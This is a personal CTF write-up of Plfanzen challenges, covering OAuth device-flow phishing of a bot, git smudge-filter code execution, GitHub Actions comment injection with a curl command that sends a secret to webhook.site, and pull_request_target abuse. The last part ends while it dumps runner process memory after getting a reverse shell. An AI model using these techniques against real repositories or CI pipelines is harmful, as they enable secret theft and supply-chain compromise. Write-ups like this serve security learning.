Last weekend, I participated at Plfanzen CTF with organizers and solved some cool challenges.


Unauthentische Rache

                addfdaolmtcaiakgnbDrbe-aDr-ooelrdpoebtcqu-ipcqo.kuecs.kutpeipdoppeiyrrremeyrrfeivpnfeimniosimletcseleenseerent-.tscys.om.tdltxext-tflow.yaml

Overview

This challenge consists of three services:

The admin bot authenticates to Authentik upon start. This means it already has a valid session and is logged in as a user. So what stops us from just getting the Flag from here?

OAuth 2.0 Device Authorization Grant

The challenge expects us to perform a valid device authorization grant according to the spec.

This looks as follows:

ApplicaSrppaputteaouosiatsltleoruslhlrntronasrsldutitoedtazagvehtatgivutueciUsisdecRoeLnicnoctp,dooeednIeudDfsil+entorgowakuetnhAUuRtLhenotpieknURL,authorizeappUser

What about the “authorize app” part? When we look at the Authentik blueprint that the challenge uses, it configures the application to use implicit consent:

device-code-flow.yaml

  - id: oauth-provider
    model: authentik_providers_oauth2.oauth2provider
    identifiers:
      name: oauth-provider
    attrs:
      authorization_flow: !Find [ authentik_flows.flow, [slug, default-provider-authorization-implicit-consent] ]
      client_type: confidential
      client_id: flag-dispenser

This is where the issue lies. Let’s look at the available consent types:

TypeBehavior
Implicit ConsentRedirect user back to app immediately, do not require consent
Explicit consentUser needs to confirm consent screen before accessing application

The RFC even warns about this, in the Remote Phishing section:

It is possible for the device flow to be initiated on a device in an
attacker's possession.  For example, an attacker might send an email
instructing the target user to visit the verification URL and enter
the user code.  To mitigate such an attack, it is RECOMMENDED to
inform the user that they are authorizing a device during the user-
interaction step (see Section 3.3) and to confirm that the device is
in their possession.  The authorization server SHOULD display
information about the device so that the user could notice if a
software client was attempting to impersonate a hardware device.

This means: The bot will simply complete our flow when sending it an authorization URL! I recently got a CVE in OpenBao for a similar thing.

Getting flag

So, all that we need to do is:

  1. Start an authentication flow
  2. Send the URL to the bot
  3. Call the /flag endpoint

Solve script:

import requests
DISPENSER_URL = "https://<dispenser-instance>.plfanzen.garden/"
BOT_URL = "https://<admin-bot-instance>.plfanzen.garden/visit"
out = requests.post(DISPENSER_URL+"start").json()
requests.post(BOT_URL, json={"url": out["verification_uri_complete"]})
print(requests.post(DISPENSER_URL+"flag", json={"device_code": out["device_code"]}).json())

Flag: plfanzen{is_7h3r3_s0m30n3_y0u_f0rg07_70_4sk?_7ccf65bac93a}


Git Classroom

                              adDerrup         ooneupp         cctqnlkkru.omrstueeyipa_ootetrrprydiduami-foe_nettplciimfileislbbcceilrsolneltssctaaulldnoe.metna_..ytsnooisggpp.tg_ppleednnttiiyoss..yyes.lee_rnssh.ppshe_sfu.tetyy.tsd.iche.xcm.ehlttrytslhtteom.mstam.rlhlmilh_tlltnm.melhlwt_mblundle.html

Overview

This is an app that allows a classroom-style setup using git bundles. A user can be registered as either a teacher or a student.

Teachers can create bundles, either public or private with an invite code.

Students can then clone these bundles edit files and check out branches using the web UI.

The flag is stored during start as a private bundle, which we don’t have the code to.

Escaping repositories

At first, I tried symlinking operating system files into the bundle. However, the function for the file route does a safe_child_path check, which ensures that only files inside the repository can be edited:

routes.py

@main_bp.route("/clones/<int:clone_id>/file", methods=["GET", "POST"])
@role_required("student")
def edit_clone_file(clone_id: int):
    clone = StudentClone.query.get_or_404(clone_id)
    if clone.student_id != g.current_user.id:
        abort(403)

    root = clone_full_path(clone)
    rel_path = (request.args.get("path") or request.form.get("path") or "").strip()
    if not rel_path:
        flash("Missing file path.", "error")
        return redirect(url_for("main.view_clone", clone_id=clone.id))

    # Deny any access to .git internals explicitly
    from pathlib import Path as _P
    if ".git" in _P(rel_path).parts:
        abort(404)

    try:
        file_path = safe_child_path(root, rel_path)
    except ValueError:
        abort(400)

We can also see that .git is explicitly disallowed.

However, by symlinking .git/config to a file, we get the ability to edit it!

Git Filters

Now, how do we get the flag from simply editing the git configuration?

It turns out that git supports filter scripts based on the .gitattributes file.

These can either be clean or smudge filters, where the later is run during a checkout. These are intended to e.g. replace local file paths with example ones.

Adding * filter=pwn to .gitattributes makes git run the pwn filter from the config on all files during a checkout, if defined.

This can be done by adding the following to it:

[filter "pwn"]
    smudge = <command>

At first, I tried writing bash scripts to read the flag, however, the work tree isn’t available during a checkout so the execution failed. As git essentially pipes all files to stdin of the command and replaces their content with stdout, I realized that I can just use the env command as a filter script, in order to leak all environment variables including the flag.

Full exploit


# create temp dir and repo
cd $(mktemp -d)
git init

# configure attributes and create symlink
echo "* filter=env" > .gitattributes
ln -s .git/config test
git add .
git commit -m "giv flag pls"

# create another branch to check out to
git checkout -b malicious
touch flag.txt
git add .
git commit -m "pls"

# create the bundle
git bundle create ../flag.bundle --all

After uploading this bundle to the instance and cloning it as a student, we’re already on the malicious branch. First, we’ll edit the test file (which edits .git/config) to add the filter:

[filter "env"]
    smudge = env

Then, we check out the master branch and afterwards the malicious branch again. Opening flag.txt now gives us all environment variables, including the flag.

Flag: plfanzen{cl0n1ng_flags_1s_fun}


Supply Chain Intro

This one is one out of four supply chain challenges involving GitHub. Players got access to a private repository inside the Plfanzen-Challenges organization.

Overview

The challenge consists of a single .github/workflows/issue.yml file:

name: Issue comment handler

on:
  issue_comment:
    types: [created]

permissions: read-all

jobs:
  process_comment:
    runs-on: ubuntu-slim
    
    steps:
      - name: Extract command from comment
        id: extract
        env:
          FLAG: ${{ secrets.PLFANZEN_FLAG }}
        run: |
          COMMENT_BODY="${{ github.event.comment.body }}"
          echo "comment=$COMMENT_BODY" >> $GITHUB_OUTPUT

Variable expansion

It’s important to understand that GitHub Actions variables do not work like bash variables and get expanded into the scripts before execution. This means, that any malicious variable can just break out of shell quotes and lead to arbitrary command execution.

For example, considering that var is set to "; pwn ",

run: |
  curl "${{ var }}"

would run curl ""; pwn "".

The action triggers on an issue comment, so we can simply create an issue and a comment with the following body:

"
curl https://webhook.site/<uuid>/$FLAG
echo "

Flag: plfanzen{supply1ng_s3cur1ty}


Supply Chain: Probot

This time, we’re not using GitHub actions, but probot, which aims to perform automations based on repository webhooks. The probot hook does the following:

main.ts

// I used Deno for some reason, idk
// Node is boring I guess
import { Probot } from "jsr:@probot/bot";

export default (app: Probot) => {
  app.on("issues.opened", async (context) => {
    if (
      context.payload.sender.login === "plfanzen-ctf-instancer[bot]" &&
      context.payload.repository.private
    ) {
      if (context.payload.issue.body == "/flag") {
        await context.octokit.rest.issues.createComment(
          context.issue({
            body: `The flag is: pflanzen{redacted}`,
          }),
        );
      }
    }
  });
};


The epmty-$USERNAME repository already contains an issue by plfanzen-ctf-instancer[bot] with the following contents:

This repository is intentionally left empty. 
There is no flag here, but maybe it will help you with another challenge? 
Please note: You can not run GitHub Actions in this repository.

We can simply edit this to /flag and reopen the issue, right?

Debugging hell

As a first thing, it turns out that reopening an issue triggers issues.reopened instead, so this route didn’t help me a lot.

However, I realized that I can simply transfer the edited issue to the primary challenge repository, which should trigger the bot.

It didn’t. Why?

The author gave me a hint to check the body that the bot expects again. At first sight, it seemed to match as expected. However, upon closer inspection, the gh CLI added a trailing newline, which wasn’t visible in my editor and only showed up in the GitHub UI.

Finally, after another transfer, I got the flag: plfanzen{y0u_ar3_n0t_th3_b0t_ar3_y0u???}


Supply Chain Fun #1

This one was the biggest (and hardest) supply chain challenge. We’re given two workflow files:

.github/workflows/dependencies.yml

name: Test dependency installation

on: [pull_request_target, push]

permissions:
  contents: write
  actions: write

jobs:
  snapshots:
    runs-on: ubuntu-slim

    steps:
      - name: Checkout
        uses: actions/checkout@v6
        with:
          ref: ${{ github.head_ref }}
          persist-credentials: false

      - name: Install dependencies
        run: npm i

.github/workflows/flaggy.yml

name: Flaggy

on: [pull_request_target]

permissions:
  contents: write
  actions: write

jobs:
  snapshots:
    runs-on: ubuntu-slim

    steps:
      - name: Checkout
        uses: actions/checkout@v6
        with:
          ref: main
          persist-credentials: false

      - name: Secure install
        env:
          FLAG: ${{ secrets.PLFANZEN_FLAG }}
        run: npm i

My first PR

At first I thought this was very simple: Open a PR with a malicious package.json that commits to the repo, get flag.

However, reality looked different:

snapshots failure · 41s
Set up job 0s
Current runner version: '2.334.0'
Runner Image Provisioner
Hosted Compute Agent
Version: 20260415.520
Commit: af089020f5f67b61ccc91db6c07980876c02bf7b
Build Date: 2026-04-15T18:07:08Z
Worker ID: {70fba0e3-5ca4-479b-8f13-130907b0813e}
Azure Region: centralus
VM Image
- OS: Linux (x64)
- Source: Docker
- Name: ubuntu:24.04
- Version: 20260504.56.2
GITHUB_TOKEN Permissions
Actions: write
Contents: write
Metadata: read
Secret source: Actions
Prepare workflow directory
Prepare all required actions
Getting action download info
Download action repository 'actions/checkout@v6' (SHA:de0fac2e4500dabe0009e67214ff5f5447ce83dd)
Complete job name: snapshots
Checkout 36s
Run actions/checkout@v6
with:
ref: patch-1
persist-credentials: false
repository: Plfanzen-Challenges/challenge-1-$USER
token: ***
ssh-strict: true
ssh-user: git
clean: true
sparse-checkout-cone-mode: true
fetch-depth: 1
fetch-tags: false
show-progress: true
lfs: false
submodules: false
set-safe-directory: true
Syncing repository: Plfanzen-Challenges/challenge-1-$USER
Getting Git version info
Working directory is '/home/runner/work/challenge-1-$USER/challenge-1-$USER'
/usr/bin/git version
git version 2.43.0
Temporarily overriding HOME='/home/runner/work/_temp/01ce111f-a2bc-4ed8-87dc-78804c8cd18e' before making global git config changes
Adding repository directory to the temporary git global config as a safe directory
/usr/bin/git config --global --add safe.directory /home/runner/work/challenge-1-$USER/challenge-1-$USER
Deleting the contents of '/home/runner/work/challenge-1-$USER/challenge-1-$USER'
Initializing the repository
/usr/bin/git init /home/runner/work/challenge-1-$USER/challenge-1-$USER
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
Initialized empty Git repository in /home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/
/usr/bin/git remote add origin https://github.com/Plfanzen-Challenges/challenge-1-$USER
Disabling automatic garbage collection
/usr/bin/git config --local gc.auto 0
Setting up auth
Removing SSH command configuration
/usr/bin/git config --local --name-only --get-regexp core\.sshCommand
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core\.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
/usr/bin/git config --local --name-only --get-regexp http\.https\:\/\/github\.com\/\.extraheader
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http\.https\:\/\/github\.com\/\.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
/usr/bin/git config --local --name-only --get-regexp ^includeIf\.gitdir:
/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
/usr/bin/git config --file /home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config http.https://github.com/.extraheader AUTHORIZATION: basic ***
/usr/bin/git config --local includeIf.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path /home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local includeIf.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path /home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local includeIf.gitdir:/github/workspace/.git.path /github/runner_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local includeIf.gitdir:/github/workspace/.git/worktrees/*.path /github/runner_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
Fetching the repository
/usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +refs/heads/patch-1*:refs/remotes/origin/patch-1* +refs/tags/patch-1*:refs/tags/patch-1*
The process '/usr/bin/git' failed with exit code 1
Waiting 17 seconds before trying again
/usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +refs/heads/patch-1*:refs/remotes/origin/patch-1* +refs/tags/patch-1*:refs/tags/patch-1*
The process '/usr/bin/git' failed with exit code 1
Waiting 17 seconds before trying again
/usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +refs/heads/patch-1*:refs/remotes/origin/patch-1* +refs/tags/patch-1*:refs/tags/patch-1*
Removing auth
Removing SSH command configuration
/usr/bin/git config --local --name-only --get-regexp core\.sshCommand
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core\.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
/usr/bin/git config --local --name-only --get-regexp http\.https\:\/\/github\.com\/\.extraheader
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http\.https\:\/\/github\.com\/\.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
/usr/bin/git config --local --name-only --get-regexp ^includeIf\.gitdir:
includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path
includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path
includeif.gitdir:/github/workspace/.git.path
includeif.gitdir:/github/workspace/.git/worktrees/*.path
/usr/bin/git config --local --get-all includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path
/home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --unset includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path /home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --get-all includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path
/home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --unset includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path /home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --get-all includeif.gitdir:/github/workspace/.git.path
/github/runner_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --unset includeif.gitdir:/github/workspace/.git.path /github/runner_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --get-all includeif.gitdir:/github/workspace/.git/worktrees/*.path
/github/runner_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git config --local --unset includeif.gitdir:/github/workspace/.git/worktrees/*.path /github/runner_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config
/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
Removing credentials config '/home/runner/work/_temp/git-credentials-a2c2bf56-5cc8-46cc-b3d9-215b16b2f31a.config'
Error: The process '/usr/bin/git' failed with exit code 1
Install dependencies 0s
Post Checkout 1s
Post job cleanup.
/usr/bin/git version
git version 2.43.0
Temporarily overriding HOME='/home/runner/work/_temp/ea6bb5dd-1ea5-4020-a662-0bc1b26ed8b7' before making global git config changes
Adding repository directory to the temporary git global config as a safe directory
/usr/bin/git config --global --add safe.directory /home/runner/work/challenge-1-$USER/challenge-1-$USER
Removing SSH command configuration
/usr/bin/git config --local --name-only --get-regexp core\.sshCommand
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core\.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
/usr/bin/git config --local --name-only --get-regexp http\.https\:\/\/github\.com\/\.extraheader
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http\.https\:\/\/github\.com\/\.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
/usr/bin/git config --local --name-only --get-regexp ^includeIf\.gitdir:
/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
Complete job 0s
Cleaning up orphan processes

The job failed to check out patch-1 on the source repository. After looking it up, github.head_ref contains the branch name of the PR, and the action tries to check that out in the source repo. Obviously, this doesn’t work.

This is also what the linked blog post in the challenge description tells us:

Currently, because of a mistake, the script doesn’t checkout the Pull Request, but a branch from the base repository named as the branch from the PR. If there is no branch with the same name the script fails.

So, how can this still be exploited?

Getting a valid branch name

Looking at the source code of the actions/checkout action, we can see that there is some special behavior on how the ref input is treated.

If we simply try a regular branch name, it tries to access refs/heads/$BRANCH and refs/tags/$BRANCH. For other cases, the following getRefSpec function in ref-helper.ts is used:

export function getRefSpec(
  ref: string,
  commit: string,
  fetchTags?: boolean
): string[] {
  if (!ref && !commit) {
    throw new Error('Args ref and commit cannot both be empty')
  }

  const upperRef = (ref || '').toUpperCase()
  const result: string[] = []

  // When fetchTags is true, always include the tags refspec
  if (fetchTags) {
    result.push(tagsRefSpec)
  }

  // SHA
  if (commit) {
    // refs/heads
    if (upperRef.startsWith('REFS/HEADS/')) {
      const branch = ref.substring('refs/heads/'.length)
      result.push(`+${commit}:refs/remotes/origin/${branch}`)
    }
    // refs/pull/
    else if (upperRef.startsWith('REFS/PULL/')) {
      const branch = ref.substring('refs/pull/'.length)
      result.push(`+${commit}:refs/remotes/pull/${branch}`)
    }
    // refs/tags/
    else if (upperRef.startsWith('REFS/TAGS/')) {
      if (!fetchTags) {
        result.push(`+${ref}:${ref}`)
      }
    }
    // Otherwise no destination ref
    else {
      result.push(commit)
    }
  }
  // Unqualified ref, check for a matching branch or tag
  else if (!upperRef.startsWith('REFS/')) {
    result.push(`+refs/heads/${ref}*:refs/remotes/origin/${ref}*`)
    if (!fetchTags) {
      result.push(`+refs/tags/${ref}*:refs/tags/${ref}*`)
    }
  }
  // refs/heads/
  else if (upperRef.startsWith('REFS/HEADS/')) {
    const branch = ref.substring('refs/heads/'.length)
    result.push(`+${ref}:refs/remotes/origin/${branch}`)
  }
  // refs/pull/
  else if (upperRef.startsWith('REFS/PULL/')) {
    const branch = ref.substring('refs/pull/'.length)
    result.push(`+${ref}:refs/remotes/pull/${branch}`)
  }
  // refs/tags/
  else if (upperRef.startsWith('REFS/TAGS/')) {
    if (!fetchTags) {
      result.push(`+${ref}:${ref}`)
    }
  }
  // Other refs
  else {
    result.push(`+${ref}:${ref}`)
  }

  return result
}

So, I tried creating a branch named refs/pull/1 but got:

remote: error: GH014: Sorry, branch or tag names starting with 'refs/' are not allowed.
remote: error: Invalid branch or tag name "refs/pull/1"
To github.com:$USERNAME/challenge-1-$USERNAME.git
 ! [remote rejected] refs/pull/1 -> refs/pull/1 (pre-receive hook declined)

Based on the code, we can see that the branch name gets uppercased. So I tried the same:

snapshots failure · 41s
Set up job 0s
Current runner version: '2.334.0'
Runner Image Provisioner
Hosted Compute Agent
Version: 20260415.520
Commit: af089020f5f67b61ccc91db6c07980876c02bf7b
Build Date: 2026-04-15T18:07:08Z
Worker ID: {6fc5bfd5-dc78-499e-a93a-4a5d4d10396a}
Azure Region: centralus
VM Image
- OS: Linux (x64)
- Source: Docker
- Name: ubuntu:24.04
- Version: 20260504.56.2
GITHUB_TOKEN Permissions
Actions: write
Contents: write
Metadata: read
Secret source: Actions
Prepare workflow directory
Prepare all required actions
Getting action download info
Download action repository 'actions/checkout@v6' (SHA:de0fac2e4500dabe0009e67214ff5f5447ce83dd)
Complete job name: snapshots
Checkout 36s
Run actions/checkout@v6
with:
ref: REFS/pull/5/head
persist-credentials: false
repository: Plfanzen-Challenges/challenge-1-$USER
token: ***
ssh-strict: true
ssh-user: git
clean: true
sparse-checkout-cone-mode: true
fetch-depth: 1
fetch-tags: false
show-progress: true
lfs: false
submodules: false
set-safe-directory: true
Syncing repository: Plfanzen-Challenges/challenge-1-$USER
Getting Git version info
Working directory is '/home/runner/work/challenge-1-$USER/challenge-1-$USER'
/usr/bin/git version
git version 2.43.0
Temporarily overriding HOME='/home/runner/work/_temp/175e3658-9a56-49a0-82ad-336670bc0196' before making global git config changes
Adding repository directory to the temporary git global config as a safe directory
/usr/bin/git config --global --add safe.directory /home/runner/work/challenge-1-$USER/challenge-1-$USER
Deleting the contents of '/home/runner/work/challenge-1-$USER/challenge-1-$USER'
Initializing the repository
/usr/bin/git init /home/runner/work/challenge-1-$USER/challenge-1-$USER
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
Initialized empty Git repository in /home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/
/usr/bin/git remote add origin https://github.com/Plfanzen-Challenges/challenge-1-$USER
Disabling automatic garbage collection
/usr/bin/git config --local gc.auto 0
Setting up auth
Removing SSH command configuration
/usr/bin/git config --local --name-only --get-regexp core\.sshCommand
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core\.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
/usr/bin/git config --local --name-only --get-regexp http\.https\:\/\/github\.com\/\.extraheader
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http\.https\:\/\/github\.com\/\.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
/usr/bin/git config --local --name-only --get-regexp ^includeIf\.gitdir:
/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
/usr/bin/git config --file /home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config http.https://github.com/.extraheader AUTHORIZATION: basic ***
/usr/bin/git config --local includeIf.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path /home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local includeIf.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path /home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local includeIf.gitdir:/github/workspace/.git.path /github/runner_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local includeIf.gitdir:/github/workspace/.git/worktrees/*.path /github/runner_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
Fetching the repository
/usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +REFS/pull/5/head:refs/remotes/pull/5/head
Error: fatal: couldn't find remote ref REFS/pull/5/head
The process '/usr/bin/git' failed with exit code 128
Waiting 18 seconds before trying again
/usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +REFS/pull/5/head:refs/remotes/pull/5/head
Error: fatal: couldn't find remote ref REFS/pull/5/head
The process '/usr/bin/git' failed with exit code 128
Waiting 12 seconds before trying again
/usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +REFS/pull/5/head:refs/remotes/pull/5/head
Error: fatal: couldn't find remote ref REFS/pull/5/head
Error: fatal: couldn't find remote ref REFS/pull/5/head
Error: fatal: couldn't find remote ref REFS/pull/5/head
Error: fatal: couldn't find remote ref REFS/pull/5/head
Removing auth
Removing SSH command configuration
/usr/bin/git config --local --name-only --get-regexp core\.sshCommand
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core\.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
/usr/bin/git config --local --name-only --get-regexp http\.https\:\/\/github\.com\/\.extraheader
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http\.https\:\/\/github\.com\/\.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
/usr/bin/git config --local --name-only --get-regexp ^includeIf\.gitdir:
includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path
includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path
includeif.gitdir:/github/workspace/.git.path
includeif.gitdir:/github/workspace/.git/worktrees/*.path
/usr/bin/git config --local --get-all includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path
/home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --unset includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git.path /home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --get-all includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path
/home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --unset includeif.gitdir:/home/runner/work/challenge-1-$USER/challenge-1-$USER/.git/worktrees/*.path /home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --get-all includeif.gitdir:/github/workspace/.git.path
/github/runner_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --unset includeif.gitdir:/github/workspace/.git.path /github/runner_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --get-all includeif.gitdir:/github/workspace/.git/worktrees/*.path
/github/runner_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git config --local --unset includeif.gitdir:/github/workspace/.git/worktrees/*.path /github/runner_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config
/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
Removing credentials config '/home/runner/work/_temp/git-credentials-d3e90ce0-3f6a-4023-bc33-993e00707c78.config'
Error: The process '/usr/bin/git' failed with exit code 128
Install dependencies 0s
Post Checkout 1s
Post job cleanup.
/usr/bin/git version
git version 2.43.0
Temporarily overriding HOME='/home/runner/work/_temp/8648b607-8bc3-4c81-9c25-a5b3fe2c34e0' before making global git config changes
Adding repository directory to the temporary git global config as a safe directory
/usr/bin/git config --global --add safe.directory /home/runner/work/challenge-1-$USER/challenge-1-$USER
Removing SSH command configuration
/usr/bin/git config --local --name-only --get-regexp core\.sshCommand
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'core\.sshCommand' && git config --local --unset-all 'core.sshCommand' || :"
Removing HTTP extra header
/usr/bin/git config --local --name-only --get-regexp http\.https\:\/\/github\.com\/\.extraheader
/usr/bin/git submodule foreach --recursive sh -c "git config --local --name-only --get-regexp 'http\.https\:\/\/github\.com\/\.extraheader' && git config --local --unset-all 'http.https://github.com/.extraheader' || :"
Removing includeIf entries pointing to credentials config files
/usr/bin/git config --local --name-only --get-regexp ^includeIf\.gitdir:
/usr/bin/git submodule foreach --recursive git config --local --show-origin --name-only --get-regexp remote.origin.url
Complete job 0s
Cleaning up orphan processes

No success again, as the casing matters for GitHub to resolve the ref.

Finally, I went on an OSINT hunt and found this repo of the challenge author: https://github.com/aarondewes-org/opentelemetry-collector

Suspiciously, there’s a lot of branch names with commit SHAs. GitHub also rejects those as branch names.

However, the branch names in the repository had some uppercase letters near the end, could this be it? I committed a sample package.json with a scripts.preinstall hook, checked out a branch with the SHA of that commit, changed the last letter to uppercase and… IT WORKED!

Now I could run arbitrary commands inside of a pipeline run of the repository.

Stealing tokens

Sadly, it didn’t end here. The pipeline has set persist-credentials: false on the checkout job, which throws away the GITHUB_TOKEN after completing.

This meant that I could not simply push anything to the repository. I got stuck at a long time on this, went to bed and lost the first blood to another team.

There’s a lot of blog posts on the pull_request_target topic, while some even mention the persist-credentials variant, however on private, shared runners, where the solution is to wait for the next job to be scheduled on the same host and steal the token. I wasn’t able to find any bypasses for the challenge setup.

Finally, I had the idea to just spawn a reverse shell in the run and explore the host system.

There’s some interesting Runner processes there:

runner@SandboxHost-639141222097064414:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   1024     4 ?        Ss   18:50   0:00 /pause
runner      14  1.1  0.3 1234816 15344 ?       Ssl  18:50   0:00 /opt/hca/hosted-compute-agent
root        19  0.0  0.0   1584     4 ?        Ss   18:50   0:00 tail -f /dev/null
root        32  0.0  0.1  13964  6428 ?        S    18:50   0:00 sudo -E -n /tmp/provjobd4276772965
root        35  0.8  0.7 1265188 35736 ?       Sl   18:50   0:00 /tmp/provjobd4276772965
runner      43  6.3  1.7 21834360 90164 ?      Sl   18:50   0:02 /home/runner/actions-runner/cached/2.334.0/bin/Runner.Listener run
runner      56 17.1  2.2 21859960 113400 ?     Sl   18:50   0:05 /home/runner/actions-runner/cached/2.334.0/bin/Runner.Worker spawnc
runner     290  0.0  0.0   4320  3380 ?        S    18:50   0:00 /usr/bin/bash -e /home/runner/work/_temp/26e3b93c-70f7-4bda-8ac1-cc

I realized that I can just become root with sudo and install gcc to get gcore and dump these processes:

runner@SandboxHost-639141222097064414:~$ sudo apt update; sudo apt -y install gcc
runner@SandboxHost-639141222097064414:~$ gcore -o /tmp/dump 56
[New LWP 1326]
[New LWP 1303]
[New LWP 892]
[New LWP 93]
